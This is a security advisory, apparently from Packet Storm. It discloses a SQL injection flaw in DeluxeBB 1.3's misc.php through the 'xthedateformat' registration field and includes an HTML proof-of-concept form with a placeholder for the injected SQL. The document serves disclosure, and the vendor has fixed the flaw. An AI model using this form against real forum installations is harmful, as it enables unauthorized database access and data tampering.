DeluxeBB 1.3 SQL Injection

Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-10-20T00:00:00


                                            `Vulnerability ID: HTB22641  
Product: DeluxeBB   
Vendor: DeluxeBB ( )   
Vulnerable Version: 1.3 and Probably Prior Versions  
Vendor Notification: 05 October 2010   
Vulnerability Type: SQL Injection  
Status: Fixed by Vendor  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (   
Vulnerability Details:  
The vulnerability exists due to failure in the "misc.php" script to properly sanitize user-supplied input in "xthedateformat" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
<form action="http://deluxebb/misc.php?sub=register" method="post" name="main" >  
<input type="hidden" name="name" value="pentester" />  
<input type="hidden" name="pass" value="pentester" />  
<input type="hidden" name="pass2" value="pentester" />  
<input type="hidden" name="email" value="" />  
<input type="hidden" name="hideemail" value="0" />  
<input type="hidden" name="languagex" value="default" />  
<input type="hidden" name="xthetimeoffset" value="0" />  
<input type="hidden" name="xthetimeformat" value="24" />  
<input type="hidden" name="xthedateformat" value="'SQL_CODE_HERE" />  
<input type="hidden" value="" name="redirect" />  
<input type="submit" value="Register" name="submit" />  
Solution: Upgrade to the most recent version